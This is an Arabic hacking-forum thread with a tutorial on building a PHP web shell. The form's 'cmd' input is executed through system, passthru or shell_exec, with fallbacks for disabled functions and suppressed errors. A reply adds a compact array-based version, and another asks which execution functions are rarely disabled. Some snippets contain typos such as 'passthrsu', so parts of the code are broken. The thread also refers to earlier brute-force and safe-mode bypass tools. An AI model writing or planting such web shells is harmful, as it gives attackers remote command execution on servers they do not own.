Loading...

BTC Address to donate : [[address]]

Donation of [[value]] BTC Received. Thank You.
[[error]]


Hamza-xDz عضو مميز
  • شكراً: 1349
  • تم شكره 1287 مرة في 298 مشاركة


سلام شباب العزة
المهم شرح بسيط وخفيف لشرح برمجة أدات لتنفيد الأوامر هادا الشرح للمقبلين على php
لأن معظم يحب يبرمج سكريبت وشي وشي ولاكن لايعرف من أين يبدأ فأنا أقوم كل مرة بشرح شيئ
يعني قمنا بشرح
برمجة أدات لتخمين على ftp
أدات لتخمين على السيبانل
ادات لتخمين على مسار لوحة التحكم و برمجة أدات بسيطة لتعطيل السيف مود
والأن راح أشرح كيفية برمجة سكريبت لتنفيد أوامر
يعني خليمنا من المقدمات و المؤخرات ونبدأ
أول شيئ عندما نفكر نجد بعض السيرفرات معطلة بعض الدوال يعني لازم نستعمل أكثر من دالة
أنا راح أستعمل
system
passthru
shell_exec
أوكي انت يمكنك وإضافة الي تحب بهد الشرح
أولا ننشئ الفورم تحتوي على زر ومكان للأمر input text
مثل هيك

كود PHP:
<form method="post">
<
input  name="cmd" />
<
input type="submit" name="go" />
</
form
أوكي الميثود بوست
الأن سنعمل شرط إدا تم الظغط على الزر ننفد المحتو مثل هيك
كود PHP:
<form method="post">
<input  name="cmd" />
<input type="submit" name="go" />
</form>

<?
##### hamza killer
if($_POST['go']){
  ////content
}

?>
أوكي الأن نرتب الأومور سنستعمل دالة تتفقد إدا الدالة موجود أولا لا
و هي دالة function_exists
أوكي سنستعمل الدالة لنعرف إدا كانت الدالة التي سنستعملها فتنفيد الأوامر موجود أم لا
و نخزن كل شيئ في متغيرات
فيصبح الكود هيك :
كود PHP:
<form method="post">
<input  name="cmd" />
<input type="submit" name="go" />
</form>

<?
##### hamza killer
$system=function_exists("system");
$exe=function_exists("passthru");
$shh=function_exists("shell_exec");
if($_POST['go']){
  ////content
}

?>
أوكي سنعمل شرط في حالة ماتنفد شرط وجود الدالة الدي خزناهم في متغير ننفد الأمر و نطبع الناتج في تاكست أريا
سيصبح الناتج هاكدا
كود PHP:
<form method="post">
<input  name="cmd" />
<input type="submit" name="go" />
</form>

<?
##### hamza killer
$system=function_exists("system");
$exe=function_exists("passthru");
$shh=function_exists("shell_exec");
if($_POST['go']){
if($system){
      echo"<textarea readonly='' cols='90'rows='20'>";
      echo @system($_POST['cmd']);
    echo'</textarea>';

}}

?>
أوكي إستعملنا @ لأخفاء الأخطاء
سنعمل شرط أخر محتواه في حال لم ينفد فيه lمتغير system و تم تنفيد متغير الأخر نطبع النتائج كما في الأول تابعو
نستعمل & لتنفيد أكثر من شرط
كود PHP:
if(!$system $exe){
          echo
"<textarea readonly='' cols='90'rows='20'>";
                echo 
passthrsu($_POST['cmd']);
              echo
'</textarea>';




نعمل نفس الطريقة للأخيرة و هي ماشية ويصبح الكود هاكدا
كود PHP:
<form method="post">
<input  name="cmd" />
<input type="submit" name="go" />
</form>
<?
if($go){
$system=function_exists("system");
$exe=function_exists("passthru");
$shh=function_exists("shell_exec");


if($system){
      echo"<textarea readonly='' cols='90'rows='20'>";
      echo system($_POST['cmd']);
    echo'</textarea>';

}if(!$system & $exe){
          echo"<textarea readonly='' cols='90'rows='20'>";
                echo passthrsu($_POST['cmd']);
              echo'</textarea>';



}if(!$system & !$exe & $shh){
    echo"<textarea readonly='' cols='90'rows='20'>";
                echo shell_exec($_POST['cmd']);
              echo'</textarea>';
}
}


?>
تنويه بسيط يجب أن تكون تعرف بعض أساسيات اللغة لتستوعب الشرح
أرجو ان كان الشرح بسيط و خفيف في المرة القادمة نشوفو شيئ أخر بوركتم

توقيع
كرهنا
10 أعضاء قالوا شكراً لـ Hamza-xDz على المشاركة المفيدة:
abdotv عضو مميز
  • شكراً: 57
  • تم شكره 204 مرة في 78 مشاركة

مجهود تشكر عليه

شرح مفيد للمبتدئين

واصل بدون فواصل

الأعضاء الذين قالوا شكراً لـ abdotv على المشاركة المفيدة:
H3ll-dz عضو مميز
  • شكراً: 1333
  • تم شكره 428 مرة في 152 مشاركة

المشاركة الأصلية كتبت بواسطة abdotv اقتباس :
مجهود تشكر عليه

شرح مفيد للمبتدئين

واصل بدون فواصل
واصل بدون فواصل

الى متى هذه الردود !!!

زر شكر يكفي

توقيع
https://www.facebook.com/H3ll.DDz?fref=ts

لافريك شواكر البيراطاج





2 أعضاء قالوا شكراً لـ H3ll-dz على المشاركة المفيدة:
xSecurity مراقب
  • شكراً: 2703
  • تم شكره 2224 مرة في 478 مشاركة

شرح ممكن يفيدك في استخدام الشرط لاكثر من خيار

2 أعضاء قالوا شكراً لـ xSecurity على المشاركة المفيدة:
rir1a عضو مميز
  • شكراً: 262
  • تم شكره 400 مرة في 115 مشاركة

شرح جميل وادم انت كنت بتتكلم ف التقيد كنت ضيف دالة الي لتظهر الدوال المقفولة عشان الاسكربت يبقي كامل من كله

الأعضاء الذين قالوا شكراً لـ rir1a على المشاركة المفيدة:
GEOIX عضو مبدع
  • شكراً: 1178
  • تم شكره 2259 مرة في 551 مشاركة


system
passthru
shell_exec

كلها ممنوعة في نسخة php الجديد

توقيع
I'll be back soon

الوعي في العقول وليس في الأعمار ،فالأعمار مجرد عدّاد لأيامك.
3 أعضاء قالوا شكراً لـ GEOIX على المشاركة المفيدة:
Hamza-xDz عضو مميز
  • شكراً: 1349
  • تم شكره 1287 مرة في 298 مشاركة

المشاركة الأصلية كتبت بواسطة geoix اقتباس :

system
passthru
shell_exec

كلها ممنوعة في نسخة php الجديد
ممم الشرح لتوضيح فقط
+
ماهي الدوال التي نادرا ما يتم تعطيلها

توقيع
كرهنا
Mr.Mero عضو مميز
  • شكراً: 433
  • تم شكره 580 مرة في 165 مشاركة

شكل اكثر تنظيم للكود حط الدوال في الـ array فقط بالتوفيق

كود PHP:
 <form method="post">
<input  name="cmd" />
<input type="submit" name="go" />
</form>
<?php

function run($cmd) {
    
$funs = array('system''shell_exec');
    foreach (
$funs as $f) {
        if (
function_exists($f)) {
            echo 
'Func is ' $f "<pre>";
            echo 
$f($cmd);
            break;
        }
    }
}
isset(
$_POST['go']) ? run($_POST['cmd']) : null ;

14 أعضاء قالوا شكراً لـ Mr.Mero على المشاركة المفيدة:
abdotv عضو مميز
  • شكراً: 57
  • تم شكره 204 مرة في 78 مشاركة

المشاركة الأصلية كتبت بواسطة geoix اقتباس :

system
passthru
shell_exec

كلها ممنوعة في نسخة php الجديد

صحيح كلامك

لكن ما الحل هل في دوال بديلة لها

ما اظن موجودة

HaCKeR-Sik عضو جديد
  • شكراً: 0
  • تم شكره مرة واحدة في مشاركة واحدة

تفكيرك سليم , شكرا يا معلم ;d

الأعضاء الذين قالوا شكراً لـ HaCKeR-Sik على المشاركة المفيدة:
أدوات الموضوع
انواع عرض الموضوع


Powered by vBulletin® Copyright ©2000 - 2020, Jelsoft Enterprises Ltd.

:: Security By : Sec4ever Team ::

جميع الحقوق محفوظة الحماية للأبد -Security 4 Ever
Sec4ever by Sec4ever
جميع الحقوق محفوظة الحماية للأبد -Security 4 Ever
Sec4ever by Sec4ever